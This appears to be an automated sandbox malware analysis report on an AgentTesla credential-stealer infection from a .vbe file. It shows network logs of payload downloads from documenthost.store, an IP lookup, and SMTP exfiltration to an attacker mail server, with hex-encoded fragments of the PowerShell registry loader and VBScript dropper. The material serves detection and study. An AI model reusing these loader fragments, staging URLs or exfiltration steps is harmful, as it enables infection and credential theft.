2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 30 32 42 30 35 45 32 38 31 31 39 30 33 38 31 31 39 30 33 38 31 31 31 30 33 30 30 32 43 30 31 46 32 38 32 31 36 30 34 30 44 45 32 38 32 31 44 31 30 30 30 32 36 30 35 30 33 38 32 31 39 46 32 38 32 31 31 30 30 30 38 30 41 30 31 46 32 38 32 31 31 30 32 30 30 32 37 30 38 30 38 30 31 30 32 30 30 32 35 30 44 46 32 38 31 31 30 30 30 32 35 30 31 30 33 38 32 31 30 30 30 30 35 30 35 38 30 38 32 31 30 30 30 30 35 30 38 30 44 46 32 38 31 31 44 46 32 38 31 31 44 46 32 38 31 31 44 46 32 38 31 31 39 31 32 31 39 31 32 31 39 46 32 38 32 31 35 46 32 38 32 31 31 38 30 38 32 31 31 46 32 38 32 31 44 45 32 38 32 31 39 45 32 38 32 31 35 45 32 38 31 31 45 30 37 30 38 32 38 30 38 30 44 31 32 31 35 30 44 31 34 30 37 30 38 30 43 31 32 30 31 30 30 30 34 30 44 41 32 38 32 31 30 30 30 Data Ascii: 02B05E2811903811903811103002C01F28216040DE2821D10002605038219F2821100080A01F282110200270808010200250DF281100025010382100005058082100005080DF2811DF2811DF2811DF2811912191219F28215F28211808211F2821DE28219E28215E2811E070828080D12150D1407080C120100040DA2821000
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 30 44 31 35 30 44 31 35 42 31 38 32 31 35 30 44 31 35 30 44 31 44 46 31 38 32 31 38 30 37 30 33 31 33 30 35 30 31 30 30 30 34 30 38 30 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 39 37 32 38 32 31 38 30 38 30 35 30 44 31 35 30 44 31 35 30 44 31 39 36 32 38 32 31 35 30 44 31 35 37 32 38 32 31 45 30 37 30 45 31 44 30 38 30 31 30 30 30 34 30 38 30 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 38 30 38 30 38 30 38 30 35 30 44 31 38 30 38 30 38 30 38 30 45 30 31 32 31 31 35 30 44 31 38 30 36 31 37 30 33 32 38 30 35 30 44 31 39 30 32 30 30 30 36 30 38 30 43 33 31 38 32 31 43 33 31 38 32 31 45 30 45 30 35 30 44 31 38 30 45 30 38 30 38 30 38 30 38 30 45 30 38 30 39 30 38 30 45 30 31 31 37 30 38 31 44 36 32 31 Data Ascii: 0D150D15B182150D150D1DF182180703130501000408050D150D150D150D1972821808050D150D150D196282150D1572821E070E1D0801000408050D150D150D150D150D150D150D150D18080808050D180808080E0121150D1806170328050D19020006080C31821C31821E0E050D180E080808080E0809080E0117081D621
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 38 30 39 35 32 38 32 31 35 30 31 30 44 34 32 31 35 31 31 31 37 30 41 31 38 30 33 30 44 31 33 30 44 31 33 30 44 31 38 30 45 30 44 31 38 30 45 30 45 30 39 30 37 30 46 30 30 30 45 31 31 30 41 30 34 30 43 31 45 30 31 30 30 32 34 30 38 30 35 35 32 38 32 31 32 30 37 30 36 30 35 33 45 34 36 33 44 41 36 35 38 33 46 42 31 33 38 30 45 30 44 31 45 30 45 30 32 30 30 30 36 30 30 37 32 31 31 30 31 45 30 38 31 31 35 31 37 30 38 30 30 37 32 31 31 30 31 45 30 38 31 31 35 31 30 37 32 31 33 30 37 30 43 30 30 37 32 31 31 30 44 34 32 31 35 31 36 30 38 30 38 30 45 30 44 31 43 33 31 38 32 31 45 30 45 30 35 30 44 31 35 30 44 31 34 37 31 38 32 31 45 30 35 30 44 31 35 30 44 31 34 37 31 38 32 31 45 30 45 30 45 30 38 30 43 36 31 38 32 31 34 35 31 38 32 31 35 30 44 31 45 30 45 30 43 Data Ascii: 809528215010D421511170A18030D130D130D180E0D180E0E09070F000E110A040C1E01002408055282120706053E463DA6583FB1380E0D1E0E02000600721101E08115170800721101E08115107213070C0072110D42151608080E0D1C31821E0E050D150D1471821E050D150D1471821E0E0E080C6182145182150D1E0E0C
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 35 32 31 35 31 45 30 32 30 39 41 31 38 31 31 35 31 43 33 31 38 32 31 45 30 43 34 31 38 32 31 45 30 43 33 31 38 32 31 31 30 44 34 32 31 35 31 37 30 37 30 45 31 38 30 43 33 31 38 32 31 31 30 44 34 32 31 35 31 43 33 31 38 32 31 45 30 45 30 45 30 38 30 38 30 45 30 45 30 43 33 31 38 32 31 31 30 44 34 32 31 35 31 42 30 37 30 42 31 33 30 31 30 41 30 33 30 33 30 44 31 30 30 30 32 34 30 38 30 38 30 45 30 38 30 45 30 33 30 44 31 33 30 45 30 38 30 44 31 33 30 44 31 33 30 44 31 38 30 38 30 38 30 45 30 37 30 34 31 38 30 38 30 45 30 44 31 43 33 31 38 32 31 31 30 44 34 32 31 35 31 43 33 31 38 32 31 45 30 45 30 44 38 31 38 32 31 45 30 44 38 31 38 32 31 43 33 31 38 32 31 31 30 44 34 32 31 35 31 42 30 37 30 30 32 31 34 32 38 32 31 30 30 30 30 35 30 38 30 44 37 31 38 32 31 Data Ascii: 52151E0209A181151C31821E0C41821E0C3182110D421517070E180C3182110D42151C31821E0E0E08080E0E0C3182110D42151B070B13010A03030D10002408080E080E030D130E080D130D130D1808080E070418080E0D1C3182110D42151C31821E0E0D81821E0D81821C3182110D42151B0700214282100005080D71821
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 45 30 43 33 31 38 32 31 31 30 44 34 32 31 35 31 39 30 37 30 36 32 38 30 44 36 31 38 32 31 44 36 31 38 32 31 31 30 33 30 30 30 41 30 38 30 45 30 44 46 31 38 32 31 35 30 44 31 39 42 31 38 32 31 44 46 31 38 32 31 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 35 30 44 31 44 31 32 38 32 31 35 30 44 31 44 30 37 30 45 31 38 30 38 30 45 30 33 30 45 30 45 30 36 30 37 30 38 30 35 30 38 30 31 30 30 30 34 30 38 30 43 33 31 38 32 31 38 30 45 30 44 31 35 30 44 31 35 30 44 31 38 30 38 30 35 30 44 31 45 30 43 33 31 38 32 31 31 30 44 34 32 31 35 31 45 30 43 30 37 30 41 31 38 30 38 30 38 30 44 31 38 30 38 30 44 31 38 30 44 31 38 30 44 31 38 30 38 30 44 31 38 30 38 30 38 30 38 30 44 31 38 30 44 31 45 30 46 30 37 30 38 31 38 30 38 30 35 30 44 31 38 30 33 30 30 32 37 30 41 Data Ascii: E0C3182110D4215190706280D61821D61821103000A080E0DF182150D19B1821DF182150D150D150D150D150D1D1282150D1D070E18080E030E0E0607080508010004080C3182180E0D150D150D1808050D1E0C3182110D42151E0C070A1808080D18080D180D180D18080D180808080D180D1E0F07081808050D180300270A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	172.67.215.48	443	7252	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:40:04 UTC	158	OUT	GET /2910/v HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: documenthost.store
2024-11-12 12:40:05 UTC	821	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:40:04 GMT Content-Length: 478 Connection: close Last-Modified: Wed, 25 Sep 2024 15:44:42 GMT ETag: "1de-622f3802a248c" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fveBKXhfrOdlFl1ytTftv5hYfgGS%2Fr%2B%2Bi%2F0YD4LFiGdEH2cHvgUaLafuOFNb4LRP%2FwpARcN55%2FjQ8hNVAsLquZj3x9Ib9RvoNoUCabrht34on7%2Btg5StwApp1AWjparNmjXsx8k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1696a558ffb798-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1185&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=772&delivery_rate=2399337&cwnd=80&unsent_bytes=0&cid=8ebb8220f5082799&ts=404&x=0"
2024-11-12 12:40:05 UTC	478	IN	Data Raw: 37 42 35 42 37 44 34 31 37 30 37 30 34 34 36 46 36 44 36 31 36 39 36 45 37 42 35 44 37 44 33 41 33 41 34 33 37 35 37 32 37 32 36 35 36 45 37 34 34 34 36 46 36 44 36 31 36 39 36 45 32 45 34 43 36 46 36 31 36 34 37 42 32 38 37 44 35 42 34 33 36 46 36 45 37 36 36 35 37 32 37 34 37 42 35 44 37 44 33 41 33 41 34 36 37 32 36 46 36 44 34 32 36 31 37 33 36 35 33 36 33 34 35 33 37 34 37 32 36 39 36 45 36 37 37 42 32 38 37 44 37 42 32 38 37 44 32 44 36 41 36 46 36 39 36 45 32 30 37 42 32 38 37 44 34 37 36 35 37 34 32 44 34 39 37 34 36 35 36 44 35 30 37 32 36 46 37 30 36 35 37 32 37 34 37 39 32 30 32 44 34 43 36 39 37 34 36 35 37 32 36 31 36 43 35 30 36 31 37 34 36 38 32 30 32 37 34 38 34 42 34 33 35 35 33 41 35 43 35 33 36 46 36 36 37 34 37 37 36 31 37 32 36 35 35 Data Ascii: 7B5B7D417070446F6D61696E7B5D7D3A3A43757272656E74446F6D61696E2E4C6F61647B287D5B436F6E766572747B5D7D3A3A46726F6D426173653634537472696E677B287D7B287D2D6A6F696E207B287D4765742D4974656D50726F7065727479202D4C69746572616C506174682027484B43553A5C536F6674776172655

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	172.67.215.48	443	7252	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:40:05 UTC	161	OUT	GET /2910/file HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: documenthost.store
2024-11-12 12:40:06 UTC	821	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:40:06 GMT Content-Length: 3952 Connection: close Last-Modified: Sun, 03 Nov 2024 03:20:50 GMT ETag: "f70-625f9a7aaa0ed" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kpTs4zzg3K%2BzWRwZa3Kc5egVWmnGbW6WVGWNkPQzKo%2BffO7Jtf4biMOhTc1qK8GPf6UP%2BTzQgWt%2B%2BWxCn%2BrNMwKGLKrVeEqXfttC0oZ9sVslMPHCGk5pkAsYRtdYhTF6SSE1EyU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1696adcd65e599-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1207&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=775&delivery_rate=2331723&cwnd=251&unsent_bytes=0&cid=3dc4d86ffaee12d5&ts=458&x=0"
2024-11-12 12:40:06 UTC	548	IN	Data Raw: 34 46 37 30 37 34 36 39 36 46 36 45 32 30 34 35 37 38 37 30 36 43 36 39 36 33 36 39 37 34 30 41 30 41 32 37 32 30 34 45 36 46 36 44 36 32 37 32 36 35 32 30 36 34 36 35 36 43 32 30 37 30 37 32 36 46 37 39 36 35 36 33 37 34 36 46 33 41 32 30 37 43 37 30 36 31 37 34 36 38 37 43 30 41 32 37 32 30 35 36 36 31 37 32 36 39 36 31 36 32 36 43 36 35 37 33 32 30 36 37 36 43 36 46 36 32 36 31 36 43 36 35 37 33 30 41 34 34 36 39 36 44 32 30 35 33 35 33 34 38 32 43 32 30 35 32 35 37 34 34 32 43 32 30 34 33 34 32 34 43 30 41 35 33 36 35 37 34 32 30 35 33 35 33 34 38 32 30 33 44 32 30 34 33 37 32 36 35 36 31 37 34 36 35 34 46 36 32 36 41 36 35 36 33 37 34 32 38 32 32 35 37 35 33 36 33 37 32 36 39 37 30 37 34 32 45 35 33 36 38 36 35 36 43 36 43 32 32 32 39 30 41 35 32 35 Data Ascii: 4F7074696F6E204578706C696369740A0A27204E6F6D6272652064656C2070726F796563746F3A207C706174687C0A27205661726961626C657320676C6F62616C65730A44696D205353482C205257442C2043424C0A53657420535348203D204372656174654F626A6563742822575363726970742E5368656C6C22290A525
2024-11-12 12:40:06 UTC	1369	IN	Data Raw: 36 33 36 31 37 32 32 30 37 33 36 39 32 30 37 35 36 45 32 30 37 30 37 32 36 46 36 33 36 35 37 33 36 46 32 30 36 35 37 33 37 30 36 35 36 33 45 44 36 36 36 39 36 33 36 46 32 30 36 35 37 33 37 34 45 31 32 30 36 35 36 45 32 30 36 35 36 41 36 35 36 33 37 35 36 33 36 39 46 33 36 45 30 41 34 36 37 35 36 45 36 33 37 34 36 39 36 46 36 45 32 30 35 30 34 35 35 31 32 38 34 45 35 30 35 32 32 39 30 41 32 30 32 30 32 30 32 30 34 34 36 39 36 44 32 30 35 33 35 37 34 39 32 43 32 30 34 43 35 30 34 31 30 41 32 30 32 30 32 30 32 30 35 33 36 35 37 34 32 30 35 33 35 37 34 39 32 30 33 44 32 30 34 37 36 35 37 34 34 46 36 32 36 41 36 35 36 33 37 34 32 38 32 32 37 37 36 39 36 45 36 44 36 37 36 44 37 34 37 33 33 41 35 43 35 43 32 45 35 43 37 32 36 46 36 46 37 34 35 43 36 33 36 39 36 Data Ascii: 63617220736920756E2070726F6365736F206573706563ED6669636F20657374E120656E20656A6563756369F36E0A46756E6374696F6E20504551284E5052290A2020202044696D205357492C204C50410A2020202053657420535749203D204765744F626A656374282277696E6D676D74733A5C5C2E5C726F6F745C63696
2024-11-12 12:40:06 UTC	1369	IN	Data Raw: 30 34 35 37 38 36 39 37 34 32 30 34 36 37 35 36 45 36 33 37 34 36 39 36 46 36 45 30 41 32 30 32 30 32 30 32 30 32 30 32 30 32 30 32 30 34 35 36 45 36 34 32 30 34 39 36 36 30 41 32 30 32 30 32 30 32 30 34 45 36 35 37 38 37 34 30 41 32 30 32 30 32 30 32 30 30 41 32 30 32 30 32 30 32 30 35 33 36 35 37 34 32 30 34 32 35 30 35 33 32 30 33 44 32 30 34 45 36 46 37 34 36 38 36 39 36 45 36 37 30 41 34 35 36 45 36 34 32 30 34 36 37 35 36 45 36 33 37 34 36 39 36 46 36 45 30 41 30 41 32 37 32 30 35 30 37 32 36 46 36 33 36 35 36 34 36 39 36 44 36 39 36 35 36 45 37 34 36 46 32 30 37 30 36 31 37 32 36 31 32 30 36 35 36 41 36 35 36 33 37 35 37 34 36 31 37 32 32 30 36 33 36 46 36 44 36 31 36 45 36 34 36 46 37 33 32 30 36 35 37 33 37 30 36 35 36 33 45 44 36 36 36 39 36 33 Data Ascii: 0457869742046756E6374696F6E0A2020202020202020456E642049660A202020204E6578740A202020200A2020202053657420425053203D204E6F7468696E670A456E642046756E6374696F6E0A0A272050726F636564696D69656E746F207061726120656A65637574617220636F6D616E646F73206573706563ED666963
2024-11-12 12:40:06 UTC	666	IN	Data Raw: 34 39 37 33 32 30 34 45 36 46 37 34 36 38 36 39 36 45 36 37 32 30 35 34 36 38 36 35 36 45 30 41 32 30 32 30 32 30 32 30 32 30 32 30 32 30 32 30 32 30 32 30 32 30 32 30 34 35 34 33 35 30 32 38 35 30 35 30 34 36 32 39 30 41 32 30 32 30 32 30 32 30 32 30 32 30 32 30 32 30 34 35 36 45 36 34 32 30 34 39 36 36 30 41 32 30 32 30 32 30 32 30 34 35 36 45 36 34 32 30 34 39 36 36 30 41 34 35 36 45 36 34 32 30 35 33 37 35 36 32 30 41 30 41 32 37 32 30 35 32 37 35 37 34 36 39 36 45 36 31 32 30 37 30 37 32 36 39 36 45 36 33 36 39 37 30 36 31 36 43 32 30 37 30 36 31 37 32 36 31 32 30 36 37 36 35 37 33 37 34 36 39 36 46 36 45 36 31 37 32 32 30 36 43 36 31 32 30 36 35 36 41 36 35 36 33 37 35 36 33 36 39 46 33 36 45 32 30 36 34 36 35 36 43 32 30 37 30 37 32 36 46 36 37 37 Data Ascii: 4973204E6F7468696E67205468656E0A20202020202020202020202045435028505046290A2020202020202020456E642049660A20202020456E642049660A456E64205375620A0A2720527574696E61207072696E636970616C20706172612067657374696F6E6172206C6120656A6563756369F36E2064656C2070726F677

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49981	104.26.12.205	443	3276	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:41:10 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-12 12:41:10 UTC	398	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:41:10 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e16983f7aad47ac-DFW server-timing: cfL4;desc="?proto=TCP&rtt=973&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=769&delivery_rate=2967213&cwnd=251&unsent_bytes=0&cid=1378cbdc19b839c0&ts=267&x=0"
2024-11-12 12:41:10 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 Data Ascii: 173.254.250.68

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 12, 2024 13:41:12.449523926 CET	587	49983	162.254.34.31	192.168.2.5	220 server1.educt.shop127.0.0.1 ESMTP Postfix
Nov 12, 2024 13:41:12.449799061 CET	49983	587	192.168.2.5	162.254.34.31	EHLO 302494
Nov 12, 2024 13:41:12.609038115 CET	587	49983	162.254.34.31	192.168.2.5	250-server1.educt.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Nov 12, 2024 13:41:12.609981060 CET	49983	587	192.168.2.5	162.254.34.31	AUTH login c2VuZHhhbWJyb0BlZHVjdC5zaG9w
Nov 12, 2024 13:41:12.769959927 CET	587	49983	162.254.34.31	192.168.2.5	334 UGFzc3dvcmQ6
Nov 12, 2024 13:41:12.947962046 CET	587	49983	162.254.34.31	192.168.2.5	235 2.7.0 Authentication successful
Nov 12, 2024 13:41:12.948215961 CET	49983	587	192.168.2.5	162.254.34.31	MAIL FROM:<sendxambro@educt.shop>
Nov 12, 2024 13:41:13.107741117 CET	587	49983	162.254.34.31	192.168.2.5	250 2.1.0 Ok
Nov 12, 2024 13:41:13.110208035 CET	49983	587	192.168.2.5	162.254.34.31	RCPT TO:<ambro@educt.shop>
Nov 12, 2024 13:41:13.271050930 CET	587	49983	162.254.34.31	192.168.2.5	250 2.1.5 Ok
Nov 12, 2024 13:41:13.274245024 CET	49983	587	192.168.2.5	162.254.34.31	DATA
Nov 12, 2024 13:41:13.433584929 CET	587	49983	162.254.34.31	192.168.2.5	354 End data with <CR><LF>.<CR><LF>
Nov 12, 2024 13:41:13.436924934 CET	49983	587	192.168.2.5	162.254.34.31	.
Nov 12, 2024 13:41:13.600332022 CET	587	49983	162.254.34.31	192.168.2.5	250 2.0.0 Ok: queued as 2F34860AFA

Target ID:	0
Start time:	07:39:45
Start date:	12/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Booking_0731520.vbe"
Imagebase:	0x7ff768740000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	07:40:04
Start date:	12/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\PPJeBFdmEDGXlnL.vbs"
Imagebase:	0x7ff768740000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	07:41:02
Start date:	12/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\PPJeBFdmEDGXlnL.vbs"
Imagebase:	0x7ff768740000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: powershell.exePID: 8092, Parent PID: 8012

General

Target ID:	6
Start time:	07:41:02
Start date:	12/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	07:41:02
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	07:41:07
Start date:	12/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xd80000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3296808679.00000000030C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3296808679.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3296808679.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3296808679.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	07:41:08
Start date:	12/11/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "8092" "2736" "2688" "2740" "0" "0" "2744" "0" "0" "0" "0" "0"
Imagebase:	0x7ff6070d0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true